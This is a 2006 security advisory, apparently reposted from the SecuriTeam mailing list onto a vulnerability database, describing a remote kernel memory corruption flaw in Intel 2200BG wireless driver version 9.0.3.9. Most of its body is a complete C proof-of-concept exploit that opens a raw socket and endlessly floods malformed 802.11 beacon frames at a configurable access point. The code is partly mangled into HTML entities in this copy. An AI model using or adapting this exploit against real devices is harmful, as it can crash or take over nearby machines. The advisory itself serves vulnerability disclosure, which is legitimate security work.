Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:15429
HistoryDec 19, 2006 - 12:00 a.m.

[NT] Intel 2200BG 802.11 Beacon frame Kernel Memory Corruption

2006-12-1900:00:00
vulners.com
9

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

    • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


Intel 2200BG 802.11 Beacon frame Kernel Memory Corruption

SUMMARY

The intel wireless mini-pci driver provided with Intel 2200BG cards is
vulnerable to a remote race condition memory corruption flaw. Malformed
beacons frame can be used to corrupt internal kernel structures,leading to
arbitrary code execution. This vulnerability is triggered when flooding
wifi card with many malformed beacons frame. The data is copied over
internal kernel structures, resulting in memory operations being performed
on attacker-controlled pointer values, like EIP values.

DETAILS

Vulnerable Systems:

  • Intel 2200 driver version 9.0.3.9

Exploit:
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h >
#include <stdio.h>
#include <linux/wireless.h>

// Change BSSID and SRC MAC ADDR to AP you are associated

char beacon[] = { 0x80, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff,
0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,0x00, 0x18, 0x39, 0xe2, 0x12, 0xda,
0x30, 0x2f, 0x84, 0x18, 0xa9, 0xf7, 0x00, 0x00, 0x00, 0x00, 0x64, 0x00,
0x01, 0x04, 0x00, 0xff, 0x53, 0x41, 0x55, 0x4e, 0x41, 0x01, 0x08, 0x82,
0x84, 0x8b,0x96, 0x24, 0x30, 0x48, 0x6c, 0x04, 0x01, 0x08, 0x05, 0x04,
0x00, 0x01, 0x00, 0x00, 0x2a, 0x01,0x04, 0x2f, 0x01, 0x04, 0x32, 0x04,
0x0c, 0x12, 0x18, 0x60, 0xdd, 0x06, 0x00, 0x10, 0x18, 0x02,0x00, 0xf4,
0x08, 0xc1, 0xca, 0x93 };

int main() {
struct sockaddr_ll link;
struct ifreq iface;
int s, i, randd = 0x22, j, m, a, b;
unsigned long len = 0, c = 0;
char s_1[700+sizeof(beacon)];

if&#40;&#40;s=socket&#40;PF_INET, SOCK_DGRAM, 0&#41;&#41;&lt;0&#41;
    return 0;

bzero&#40;&amp;iface,sizeof&#40;iface&#41;&#41;;
bzero&#40;&amp;link,sizeof&#40;link&#41;&#41;;
    bzero&#40;s_1,sizeof&#40;beacon&#41;&#41;;
    
strcpy&#40; iface.ifr_name,&quot;ath0raw&quot;&#41;;


if&#40;ioctl&#40;s,SIOCGIFHWADDR, &amp;iface&#41;&#41; {
    return 0;
}

if&#40;ioctl&#40;s,SIOCGIFINDEX, &amp;iface&#41;&#41; {
    return -1;

}
 
if&#40;&#40;s=socket&#40;PF_PACKET, SOCK_RAW, htons&#40;ETH_P_ALL&#41;&#41;&#41;&lt;0&#41; {
    return -1;
}

link.sll_family = AF_PACKET;
link.sll_ifindex = iface.ifr_ifindex;

if&#40;bind&#40;s,&#40;struct sockaddr *&#41; &amp;link, sizeof&#40;link&#41;&#41;&lt;0&#41; {
    return -1;

}


       memcpy&#40;s_1,beacon,sizeof&#40;beacon&#41;&#41;;

randd = 0x44;

for&#40;i=0;i&lt;33;i++&#41;
s_1[37+i] = 0x44;

for&#40;;;&#41;    {
        
        i = 147;
            for&#40;j=0;j&lt;i;j++&#41;    {
                if&#40;randd == 0xff&#41;
                randd = 0x00;
                s_1[70+j] = randd++;
        }
        randd = 0x44;
        for&#40;m=0;m&lt;5;m++&#41;    {
        len = sendto&#40;s,s_1,strlen&#40;beacon&#41;+j, 0, NULL, 0&#41;;
        printf&#40;&quot;Sent &#37;d&#92;n&quot;,len&#41;;
        }
}

close&#40;s&#41;;

return 0;

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> Breno
Silva Pinto (Open Communications Security).

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.